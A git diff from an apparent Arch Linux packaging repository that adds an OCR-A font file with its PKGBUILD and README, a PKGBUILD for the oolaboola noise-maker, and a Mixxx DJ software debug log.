z_+b1dHEC>U_GSdLZh2SETgdN6dDhH$*Y1o{rIMC$snOntRQW@9^V|)7VhC)C%WZC$OVS}!RwowO{EP&szAO)?PFZ-Xwa!H|SqV8c)|D%P}4iA-TF2j{epwgbV!ewlBT@zy5kZQR{LyvCzsL_3_2 zVKG$$J=lcI1!%*7QP(`HKrMFGuV^AF@!gF4n8fbI4?L>q8iHDkCA@d*=QmxBayS!je@p=4)S#w$vNzd z3+njrXUxkG11t_kmZw>t9CiBZVPc(!9Eu4|Gr!Qj1is#~WF$oer4e`I-u1kLPE%So z!Wt_+YqY@dpSCe^E@xJ{?cXifRqjWd34B=kpQVO^ij|p~a|T%gqHWR+k2+gXApZ>B z1=NL|=bte}TFD#fQ1+~+S5^tF@KXk@SI-zYt^GQFu6q^A$aO#78GLN}R<-F?%EW9Z zk3y0!P44x*#qrtpphbl8gSLZ4bluV5YE{iP%N*zu4l(v3H)2D4j7D3vvJ3JLOK7<+ z({#hQ*3(|PYjJu&g0i`FBhIevwN_lTq$(=53(&IMA+%GWLEN-}+!fEr;QG&w@d4m1 zvs_2uId}21$Xg@+kg(KsksR868ig=14kH>?QJ_XU94HF4dEqRCW10CTZeX6ZmShIt z$h8w2CLoqIc=Jt7)ys0a$Y-jyGnQMPwH(>mN>x^=RQQr8NnR$Y3EJSEQOYa|HnZ5alEUd%OUqa8Y9(`yf$qd-vO;Qvy4Ja*tLZ^3 zDH$r|t~DKWFGQ^4XGTLwYYA9EzN$bs0VF_zrGOH?I9g?4NS%AD?KCz%on8Ge2C#g% zz`rPD)hMv_EDu4UYOVeFUj<;lv6J>ez9?7)vK_JY1`ShA{{_Mngtz}X^t!Ic1@*T> zJsyJeTCyp!tIbwt1a6C_vT6mW;lo)iURi!0@(;z5=_U@ao!V9pTsVU=W>poMW+na| zB5gq^1E#=|&F8G8IGZqB1co>6*iz_4m5|W8UKC9S_2A!-;79U?Z#K+%i)`rW8MQe; z2Rp$t^yr?S5g$$k)1%0{+d)qSkBSl<9{SVTCDj2tQ}hLE2B>{D`&X8UQ^ z)o$#p-9^_1dvxCRFUASDliJN-Ui2d^g^cJ(aPiej%CFM|28cxp9^B7yDrBHx=M*MiUuy8Q{($wS!nKhb5h(^Ptm zG;3~g(Isi8!G_WPY0{!TfOZb;hTp@Ss~Rq{lsarC;+PSZS)&#NjEEDNB`9c&H;e_b zM#iGr;qm<*EaEMGa=~b|Xv;EOn;iODVJplBWO2tyqm8XXSoZ-L-8Us{2gp>$O0zwG z;k^E~L7Yj6)n5GLfm7w4W(|}aWq9+ zhvDnfqYj+8?CwCussMLbUoyMteST9g)f)svPC|0KDYSabKbh*$D$ip?G^V0h=`MIu z@E%U9iSm?}+uu~0DXLuGYgnicwX-CUEhSYjHK%3&;Icjs3+=(ZZ+LID;5s^tH}aob zFzcHjBbR~RpgZf|fEZBTQz6HH+K^Rm$3mO}d7!6ssuXmy3)T?9e7B;n~gw!r!FE5 z_8JFeta7aJ@>FkMl1^b)R@;6n@Qonp(Z4Z9(Ud-2UeQ;XbW-1x(;N|3W2+F6)7hrx zdRqZ4kB}A0<+{c~nOrZ1svC`)=IH`?#(ntf7SW&f4ZC+`Pb&kfxyW0hBd8n)*Y4S^9K5wlCk9U=}A>b2TJ1T#BvTsp_Vk2Q{$fK>yf;@ zf#w!9TyeME(FzXnr)=qKfBFNtRC_ty=lM-3Aq#EG*K9J6G?XckrQAhl z+}dCAt$;R`vG>z_+p`p#ujk>J3P5itohb9^#;f|(Om8qZYQb2nNkKWAZ7nx2x@T)~ zSP1tdc z1j`z--h24Z01UhqHH6tV2}ORa3bDOWc`deU%%KrP8f50&?Ff{y#S>rXjLitPGk*lj(6RlWsv2OFO#z(J9jd=D3?EUYh_sstH3(BunE9^hc;$MR;BfOA%*FB$BQrwPVQozoDARgH5|pD2a&XY= z0AgskYVsaM5+DTqyny%tIf54Rq>%S$=hJV)_9#tT={6VbaG>18Im*#ZNDsh(c4s0% z2xohYY)D$1rQ0E}V^xeNGXV(k1r!6OU^~K}!F~stDWRbjBm#s2Us>k^vz+x1eu8oo z4Pm8>maN*fI5^Upor#tXkiz$Jf#;DMA>^e?i~CeE6EwvI6ubC~# z8}gD@rhAd1Luh-!{tFhB!Nsi+W762MUCB&}b!h#K*0DO@ozi@nc6{nr+@YIYuGWKx&O?6;jibPM?Wok7`^s>UOW9m z{`u#>PwnRV`)IpV9rJh36Bqirp@BKuV>h5af)D5TFAnABkNA1Sq-b1g@Vrp)r}iM4 zS^MTWG5R5yQYvlFu&?e3eGK_`d{D``4&===nw)1y!iVV+<{>pqc(KnNTip)NOlT*A#KS6=P(K1bI1)f5p8HbUCdM1T#i)VQ;MC#_W4%tW&R$)YLQ=6(b1<| zh;F9!TIth>CeL;NG3!>#($91)(h%z5c^;i2S|6f&u1S%SZI4zdWQsN&{!D-37a7G+ zdLm@x%m>Mv@kuJ+Bw6sfWaQ?X#q=j{!CW4KJcqD%bn9gZveAYQ$nXl91R>j~{qbQo zK5uX=OnZ6De|t>+)GtS!$I%IBB2~#_Q{?9%c-Wmxc9PE`n*wVREDo4@FoPF` z4!^Dp%S%5*LN9?UkdQ0bW6cdLSQE$u|7#YK)M(Y2)y5xrU6%QJtdARb>U!q~(ARMH zDK)lrzZYcs{0#;}A3ZEsvJx)c1trohq?ka0G|%(|$9?vN`w9yANpm9blWDjwqRaLl zVZ$6c(#aMYJUZiF#@1Zp&tABjAo5%Mm#t1T; zx@JtQC_Ttd?2!G)Pw$XrSOm}g1yx1zOAsJXdcCYD4*StgaUMF-F6Hn+Ji#LRwId~j z4WXuMd2!IEBPHF%xITigiTVoYGhh;ncM-KSb4MK^j5b;mcofeAW#PzpUXp$^g16p( z_Hga7>sd`TAsQS=o({C9hQoqu#j&BhI*YBx}HltR@N ze|q5bHHELW=Im`xcUR`4SXsN(nzWSC8YRZltjC)B{aOb6;bbPc+GwT8N3WR0ThMH@$Vr!-^NzgS=|n@xcuGe;W_`I zC}}v@sUdr41X&`IY^&IbBAcgA>~2r}_*oPUduR)4lbtAU?2+9vX+Abnk0Nkc`=UfG zP~Gct3Lf-|x*mv0BOP4tY+%YkF*sW$r788QwNaub9!iv~VhcI#azgaV0Q#`eaAmmF z7Au~|RiGKPUzK6YlRZ6jrZ-D*W41Zi?wH+1(0sAswg0Y|mT*GUA%8%!9lM$@e$0kE zeR#^B%0jPN&PB9B#e=2B#_R62`|WhBm(MpMYq0oY7uFUOw9Eae>flq5&3&Ml)IR)<^J}PU~G!R2whn?)ukhqqK^BEHp%;TVh#J1_YcIhn9RBLi}MGhDNLu zr!Y)PFTc2Q{+-Y;^0XgMY;Q$w2PDxoZ{BG&r^*{n6Q@UxtPg#oRIyWX5F-|dzG z9wr%@lVaaGsgMVQIa-gSPC<(3Cm+DL#aIcf^$J7XP^@~l&I)yyw10rcQIr%+iIj8D z>Fgog3Mh0m#inx?eVe>JD&K^VzJ(_G-U$<*StOx?mo_){n>i5$>tZww;=@=h^0HAQ zi_Pi#c6_xmQyPW+6^bRhX5rdYXZH13ZCO;ei0-z#{Z?4`x~L;=an-0JUO%o%CbCk> zQ?gyK01YdvYn4xP7t`H_!-Y@~a9*T-u1AhW^r0LN0U+h``F*=XlPwQFE2CxIn!_|? z{b0RQE@;|s)B+jS`n=E2KxQVGryrm31NP||(X#jZQ(ZI6mc|}oeR9}`5nAa}4mOX8 zqAJ#(sIk7qz1|8><(6i{b^;x&BKL5?u-kqmSYDy)s0|;Q9B4#Tn{@?;XhB9yLDOYC z*a-K9pGpMvmIJ_DrK>DF92D|ZsnH)NTPm+}TN#hpC8Aud!N0^t+ifE!f~KL2{tlj( zML{8f`GY5(*q`itUmoZ&Y2BQXog)YcHlc`)%{5lO8_b$r;Nu(RwKGdHVA}jGk|gkg z2C%q&6aU5?ba!?AWpkedcj~WexK9m_2`3YZh3FU00jds<1+GJ0Jv@c+7KXB^(|L+-|ZoJQi`!Zx4?pt|Ffv9?KYimfMT! z|8abuz^CG!#P3_-WpBgTUEG~Gx)dWPapeM>AIDL}y&O_^64wrLceAtm@$*jn#Yy&r zTX27cy*1P5Q<_G7WD;kGaqT4T-h{rl8SY;8Z<@Q0y9d_~a>wv*8qYq4Yrl+p590V< zJmomfU-;Y^Jd4|V==h-%2TvZlwYu%ZU3XTO9y)pOg1e5NtX_WPBtDa}dinj;owuDl zaqyNy)!g*_^x|Z7_~gmEH_go4d+)u|_uaF2@Yu2GNQ{05_^B-1^ z%wvn_6#JgX3ud`xJOuN;;I0$5)2ZSU3ak31IGA6VTA7-koy9%pKj`eN4&Z$!K)xfm zd>n71&!Z%-e`75N4xPB?$X&;)*;zb!cJAk`j-ztOzRtX#?iG8HuUBA<_ALqU$Py>x z^X*hl;|$K^EM!U?eCDFZ`CPz-T!gqO;Zm*vOqnCb>P8!__TomqP$U5 zm&ftRfRiA`G&oErK95S$B0e`^8RXdjEVK#zKwIz`3ahBBY)5y>PQ&!SVbdu}^<`2M>OA3Cnyde_Nghwi!O zD1X~+!fm%5!S^xYmV57H^da~ZNuFt?iE|`)7B@jj&wc&>4aTWQ literal 0 HcmV?d00001 diff --git a/ocr-a/PKGBUILD b/ocr-a/PKGBUILD new file mode 100644 index 0000000..fb2d790 --- /dev/null +++ b/ocr-a/PKGBUILD @@ -0,0 +1,20 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=ocr-a-font +pkgver=10 +pkgrel=1 +pkgdesc="Free version of OCR-friendly sans-serif monospace TTF font described in 'ISO 1073-1:1976' , 'ANSI X3.4-1977. X3.4' and 'DIN 66008' standarts" +arch=('any') +license=('GPL') +url="http://en.wikipedia.org/wiki/OCR-A_font" +optdepends=('gocr' 'ocra') + +source=("OCR-A-10.ttf") +md5sums=('f210e903e883f8be74b911d52cbf06c5') + +build() { + mkdir -p ${pkgdir}/usr/share/fonts/TTF/ || return 1 + cp ${srcdir}/OCR-A-10.ttf ${pkgdir}/usr/share/fonts/TTF/ || return 1 +} diff --git a/ocr-a/README b/ocr-a/README new file mode 100644 index 0000000..5a30d1d --- /dev/null +++ b/ocr-a/README @@ -0,0 +1,54 @@ +Really free OCR A + +This font is the one that's supposed to be used for the human-readable +numbers in the bar code labels on consumer products, including book ISBN +labels. It's also quite similar, but not identical, to the font used for +the embossed numerals on credit cards. + +A freely distributable version seems to be sorely needed. Until now, it's +been very difficult to find the font in computer-usable format except by +paying a high fee to a commercial font vendor. Even many serious commercial +publishers have so much trouble getting it right that they just go ahead and +use Helvetica instead, or even (shudder) Arial. Since the OCR A font is +required by an international standard, it seems like it ought to be free. +So here it is. The font in this package is not a "ripped", pirated, or +shadily reverse engineered version; every effort has been made to ensure +that it genuinely derives from free sources and all the creators involved +have actually intended it for free public use. + +Converted by Matthew Skala from Metafont format to Postscript and TrueType +formats, July 27, 2006, using mftrace 1.2.4 by Paul Vojta, which is +available from + http://www.xs4all.nl/~hanwen/mftrace/ +and Autotrace 0.31.1 available from + http://autotrace.sourceforge.net/ + +The mftrace output was edited slightly to add a "space" character, which +seemed to be missing. + +The Metafont files (included) were coded by Richard B. Wales in 1988 and +1989, based on an earlier version by Tor Lillqvist, in turn based on ANSI +Standard X3.17-1977, approved January 20, 1977 by the American National +Standards Institute, Inc. + +PLEASE NOTE: The copyright notice by Richard Wales in ocra.mf forbids +charging more than "a reasonable copying or communications charge" for this +font. As far as I (Matthew Skala) am concerned, in this day and age +Internet communication is so cheap that any fee at all is more than the +reasonable cost of providing a download. If you post this font on a +so-called "free fonts" Web site that charges any fee whatsoever, or one that +purportedly provides the font for free but makes the visitor jump through +hoops to actually get the free font, and also offers a more convenient +download for a fee, then I will consider you to be in violation of the +copyright and may take action against you. Free fonts are rare treasures, +and OCR A in particular is extremely difficult to find in the non-commercial +world despite being an international standard that ought to be free if +anything is. It took a lot of effort - hours of work valued at far more +than the cost of just paying one of those commercial vendors for the font - +and my unique expertise in obsolete computer systems, which didn't come +cheap either - to get a really free version that I could share with everyone +at no charge. So let's keep it really free, eh? + +Matthew Skala +mskala@ansuz.sooke.bc.ca +http://ansuz.sooke.bc.ca/ diff --git a/oolaboola/PKGBUILD b/oolaboola/PKGBUILD new file mode 100644 index 0000000..82981df --- /dev/null +++ b/oolaboola/PKGBUILD @@ -0,0 +1,24 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=oolaboola +pkgver=0.3.1 +pkgrel=1 +pkgdesc="virtual turntable fun with Eric Tiedemann's 'open-source cyber-shamanic noise-maker'" +url="http://www.hyperreal.org/~est/oolaboola/" +license="GPL" +arch=('i686' 'x86_64') +depends=('python' 'gtk2' 'pygtk' 'gcc') +source=("http://hyperreal.org/~est/oolaboola/download/${pkgname}-${pkgver}.tar.gz") +md5sums=('61ecdb8354baa0e2c8dead46ed40f62a') + +build() { + cd ${srcdir}/${pkgname}-${pkgver}/ || return 1 + + make ./configure || return 1 + make || return 1 + mkdir -p ${pkgdir}/usr/bin/ + + chmod -R 755 ${pkgdir}/usr/bin +} diff --git a/oolaboola/mixxx.log b/oolaboola/mixxx.log new file mode 100644 index 0000000..5fdb012 --- /dev/null +++ b/oolaboola/mixxx.log @@ -0,0 +1,468 @@ +Debug: [Main]: Setting up plugin paths... +Debug: [Main]: ...done. +Debug: [Main]: Mixxx 1.7.0 "" is starting... +Debug: [Main]: At current version 1.7.0 +Debug: [Main]: ControlObject::getControl returning NULL for ( "[Mixer Profile]" , "LoEQFrequency" ) +Debug: [Main]: SampleRate 44100 +Debug: [Main]: Latency 81 +Debug: [Main]: createWaveformViewer() +Debug: [Main]: WaveformViewerFactory :: Creating new simple waveform +Debug: [Main]: WaveformRenderer::setupControlObjects - VisualResample: 400 +Debug: [Main]: Got bgColor QColor(ARGB 1, 0.0980392, 0.0980392, 0.0980392) +Debug: [Main]: Got signalColor QColor(ARGB 1, 0, 0.803922, 0) +Debug: [Main]: createWaveformViewer() +Debug: [Main]: WaveformViewerFactory :: Creating new simple waveform +Debug: [Main]: WaveformRenderer::setupControlObjects - VisualResample: 400 +Debug: [Main]: Got bgColor QColor(ARGB 1, 0.0980392, 0.0980392, 0.0980392) +Debug: [Main]: Got signalColor QColor(ARGB 1, 0, 0.803922, 0) +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/." +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/.." +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/compressor.xml" +Debug: [Main]: LADSPA: Plugin "Compress" not found (required by preset "Compressor" ) +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/delay5s.xml" +Debug: [Main]: LADSPA: Plugin "delay_5s" not found (required by preset "Delay5s" ) +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/djflanger.xml" +Debug: [Main]: LADSPA: Plugin "djFlanger" not found (required by preset "DJFlanger" ) +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/karaoke.xml" +Debug: [Main]: LADSPA: Plugin "karaoke" not found (required by preset "Karaoke" ) +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/null.xml" +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/plate.xml" +Debug: [Main]: LADSPA: Plugin "Plate2x2" not found (required by preset "PlateReverb" ) +Debug: [Main]: Setting up LADSPA EnableEffect "0" +Debug: [Main]: Key string: "EnableEffect0" +Debug: [Main]: Setting up LADSPA EnableEffect "1" +Debug: [Main]: Key string: "EnableEffect1" +Debug: [Main]: Setting up LADSPA EnableEffect "2" +Debug: [Main]: Key string: "EnableEffect2" +Debug: [Main]: Loading playlists and library tracks from XML... +Debug: [Main]: Track::readXML "/home/harvie/.mixxx/mixxxtrack.xml" +Debug: [Main]: playlist name "Default 1" +Debug: [Main]: playlist name "Default 2" +Debug: [Main]: Promo track directory does not exist: "/usr/share/mixxx/promo" +Debug: [Main]: Constructed LibraryScanner!!! +Debug: [Main]: FIXME: Need to tell the m_pPlaylistListModel to refresh in src/track.cpp on line: 1367 +Debug: [Main]: Trying to add 139 songs to the library playlist +Debug: [Main]: Adjusting column widths: tracktable width = 100 1% of that is: 1 FIXME: this should be done when initalizing the skin. +Debug: [Main]: Shrinking Title/Comment for small screen... +Debug: [Main]: FIXME: repaintEverything switches table model and shouldn't do that when viewing the playlist model in src/wtracktableview.cpp: 227 +Debug: [MidiObject 1]: MidiMapping: Loading MIDI XML from "/home/harvie/.mixxx/MixxxMIDIBindings.xml" +Debug: [MidiObject 1]: Could not open xml file: "/home/harvie/.mixxx/MixxxMIDIBindings.xml" +Debug: [Main]: selectedAPI is: "ALSA" +Debug: [Main]: loadSettings: 1 0 "SlowFade" +Debug: [Main]: slotApply crossfader: 1 "SlowFade" +Debug: [Main]: BpmSchemes::readXML "/home/harvie/.mixxx/mixxxbpmscheme.xml" +Debug: [Main]: getting midi device list, size 0 and: "" +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/." +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/.." +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/compressor.xml" +Debug: [Main]: LADSPA: Plugin "Compress" not found (required by preset "Compressor" ) +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/delay5s.xml" +Debug: [Main]: LADSPA: Plugin "delay_5s" not found (required by preset "Delay5s" ) +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/djflanger.xml" +Debug: [Main]: LADSPA: Plugin "djFlanger" not found (required by preset "DJFlanger" ) +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/karaoke.xml" +Debug: [Main]: LADSPA: Plugin "karaoke" not found (required by preset "Karaoke" ) +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/null.xml" +Debug: [Main]: LADSPA: file "/usr/share/mixxx/skins/outline/../../ladspa_presets/plate.xml" +Debug: [Main]: LADSPA: Plugin "Plate2x2" not found (required by preset "PlateReverb" ) +Debug: [Main]: Setting up LADSPA EnableEffect "0" +Debug: [Main]: Key string: "EnableEffect0" +Debug: [Main]: Setting up LADSPA EnableEffect "1" +Debug: [Main]: Key string: "EnableEffect1" +Debug: [Main]: Setting up LADSPA EnableEffect "2" +Debug: [Main]: Key string: "EnableEffect2" +Debug: [Main]: SoundManager::setupDevices() +Debug: [Main]: Building timecode lookup tables... +Debug: [Main]: Starting vinyl control xwax thread +Debug: [Main]: Building timecode lookup tables... +Debug: [Main]: Starting vinyl control xwax thread +Debug: [Main]: SoundDevicePortAudio::open() "6, plugequal" +Debug: [Main]: m_dSampleRate 44100 +Debug: [Main]: iLatencyMSec: 81 +Debug: [Main]: output channels: 2 | input channels: 0 +Debug: [Main]: iLatencySamples: 7144 +Debug: [Main]: iLatencyMSec: 81 +Debug: [Main]: Opening stream with id 6 +Debug: [Main]: Opened PortAudio stream successfully... starting +Debug: [Main]: Dynamically loaded PortAudio library! +Debug: [Main]: PortAudio: Started stream successfully +Debug: [Main]: iNumDevicesOpenedForOutput: 1 +Debug: [Main]: iNumDevicesOpenedForInput: 0 +Debug: [Main]: Displaying mixxx +Debug: [Main]: Adjusting column widths: tracktable width = 746 1% of that is: 7.46 FIXME: this should be done when initalizing the skin. +Debug: [Main]: Shrinking Title/Comment for small screen... +Debug: [Main]: Running Mixxx +Debug: [Main]: Starting Library Scanner... +Debug: [LibraryScanner 1]: Scan finished cleanly +Debug: [Main]: FIXME: repaintEverything switches table model and shouldn't do that when viewing the playlist model in src/wtracktableview.cpp: 227 +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/a Coisa Louca - Journey inwards.mp3" +Debug: [Reader 1]: file length 31362048 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 285110 from 31362048 +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "a Coisa Louca - Journey inwards.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 7.09 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection successful for "a Coisa Louca - Journey inwards.mp3" +Debug: [AnalyserQueue 1]: AnalyserBPM BPM is 79.9639 (raw: 79.9639 ) +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/Shared/John_Holt_and_Sizzla_01_Police_In_Helicopter.mp3" +Debug: [Reader 2]: file length 16482816 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 149844 from 16482816 +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "John_Holt_and_Sizzla_01_Police_In_Helicopter.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 4.01 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection successful for "John_Holt_and_Sizzla_01_Police_In_Helicopter.mp3" +Debug: [AnalyserQueue 1]: AnalyserBPM BPM is 77.0025 (raw: 38.5013 ) +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/alec_empire_-_let_the_sunshine.mp3" +Debug: [Reader 2]: file length 21593088 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 196300 from 21593088 +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/alec_empire_-_let_the_sunshine.mp3" +Debug: [Reader 1]: file length 21593088 i +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "alec_empire_-_let_the_sunshine.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 4.76 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection successful for "alec_empire_-_let_the_sunshine.mp3" +Debug: [AnalyserQueue 1]: AnalyserBPM BPM is 136.986 (raw: 34.2465 ) +Debug: [Main]: BpmSchemes::readXML "/home/harvie/.mixxx/mixxxbpmscheme.xml" +Debug: [AnalyserQueue 2]: AnalyserBPM BPM detection failed, setting to 0. +Debug: [Main]: DlgBpmTap got complete signal +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/05 Jedna láska.mp3" +Debug: [Reader 2]: file length 18072576 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 164296 from 18072576 +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "05 Jedna láska.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 4.29 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection successful for "05 Jedna láska.mp3" +Debug: [AnalyserQueue 1]: AnalyserBPM BPM is 106.146 (raw: 53.0732 ) +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/Noisia_-_Massada.mp3" +Debug: [Reader 1]: file length 37651968 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 342290 from 37651968 +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 7.03 seconds +Debug: [Main]: DlgPrefVinyl::Apply +Debug: [Main]: in VinylGainSlotApply() with gain: 1 +Debug: [Main]: DlgPrefSound::Apply +Debug: [Main]: Setting ChannelMaster in config to: "0" +Debug: [Main]: request msec 81 +Debug: [Main]: SoundManager::setupDevices() +Debug: [Main]: Building timecode lookup tables... +Debug: [Main]: Starting vinyl control xwax thread +Debug: [Main]: Building timecode lookup tables... +Debug: [Main]: Starting vinyl control xwax thread +Debug: [Main]: SoundDevicePortAudio::open() "6, plugequal" +Debug: [Main]: m_dSampleRate 44100 +Debug: [Main]: iLatencyMSec: 81 +Debug: [Main]: output channels: 2 | input channels: 0 +Debug: [Main]: iLatencySamples: 7144 +Debug: [Main]: iLatencyMSec: 81 +Debug: [Main]: Opening stream with id 6 +Debug: [Main]: Opened PortAudio stream successfully... starting +Debug: [Main]: Dynamically loaded PortAudio library! +Debug: [Main]: PortAudio: Started stream successfully +Debug: [Main]: iNumDevicesOpenedForOutput: 1 +Debug: [Main]: iNumDevicesOpenedForInput: 0 +Debug: [Main]: slotApply crossfader: 1 "SlowFade" +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/alec_empire_-_let_the_sunshine.mp3" +Debug: [Reader 2]: file length 21593088 i +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/alec_empire_-_let_the_sunshine.mp3" +Debug: [Reader 1]: file length 21593088 i +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/02 Stay Strong.mp3" +Debug: [Reader 1]: file length 22046976 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 200428 from 22046976 +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "02 Stay Strong.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 5.09 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection successful for "02 Stay Strong.mp3" +Debug: [AnalyserQueue 1]: AnalyserBPM BPM is 137.926 (raw: 34.4814 ) +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/DJ_Pooh_-_Kumatesh.mp3" +Debug: [Reader 2]: file length 395589888 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 3596272 from 395589888 +Debug: [Main]: FIXME: Half-assed slotMouseDoubleClicked implementation in src/wtracktableview.cpp at line 346 +Debug: [Main]: 0 +Debug: [Main]: Adjusting column widths: tracktable width = 746 1% of that is: 7.46 FIXME: this should be done when initalizing the skin. +Debug: [Main]: Shrinking Title/Comment for small screen... +Debug: [Main]: BpmSchemes::readXML "/home/harvie/.mixxx/mixxxbpmscheme.xml" +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "DJ_Pooh_-_Kumatesh.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 100.63 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection successful for "DJ_Pooh_-_Kumatesh.mp3" +Debug: [AnalyserQueue 1]: AnalyserBPM BPM is 84.6977 (raw: 84.6977 ) +Debug: [AnalyserQueue 3]: AnalyserBPM BPM detection successful for "DJ_Pooh_-_Kumatesh.mp3" +Debug: [AnalyserQueue 3]: AnalyserBPM BPM is 84.6977 (raw: 84.6977 ) +Debug: [Main]: DlgBpmTap got complete signal +Debug: [Main]: BpmSchemes::readXML "/home/harvie/.mixxx/mixxxbpmscheme.xml" +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/05 Jedna láska.mp3" +Debug: [Reader 1]: file length 18072576 i +Debug: [Main]: Adjusting column widths: tracktable width = 746 1% of that is: 7.46 FIXME: this should be done when initalizing the skin. +Debug: [Main]: Shrinking Title/Comment for small screen... +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/The_Stranglers-Golden_Brown_(Texture_Like_Sun).mp3" +Debug: [Reader 1]: file length 18040320 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 164002 from 18040320 +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 3.43 seconds +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/alec_empire_-_let_the_sunshine.mp3" +Debug: [Reader 2]: file length 21593088 i +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/Shared/POSLECHNETE SI JUNGLE- TO OSTATNI NESTALO ZA NIC/VA-Ragga_Jungle_Dubs-RETAiL_CD-2007-R2R/08-admiral_bailey_and_mad_cobra-skin_out_(drum_and_bass_dub)-r2r.mp3" +Debug: [Reader 2]: file length 34352640 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 312296 from 34352640 +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "08-admiral_bailey_and_mad_cobra-skin_out_(drum_and_bass_dub)-r2r.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 8.5 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection failed, setting to 0. +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/02 Stay Strong.mp3" +Debug: [Reader 2]: file length 22046976 i +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/alec_empire_-_let_the_sunshine.mp3" +Debug: [Reader 2]: file length 21593088 i +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/alec_empire_-_let_the_sunshine.mp3" +Debug: [Reader 1]: file length 21593088 i +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/Shared/POSLECHNETE SI JUNGLE- TO OSTATNI NESTALO ZA NIC/VA-Ragga_Jungle_Dubs-RETAiL_CD-2007-R2R/08-admiral_bailey_and_mad_cobra-skin_out_(drum_and_bass_dub)-r2r.mp3" +Debug: [Reader 2]: file length 34352640 i 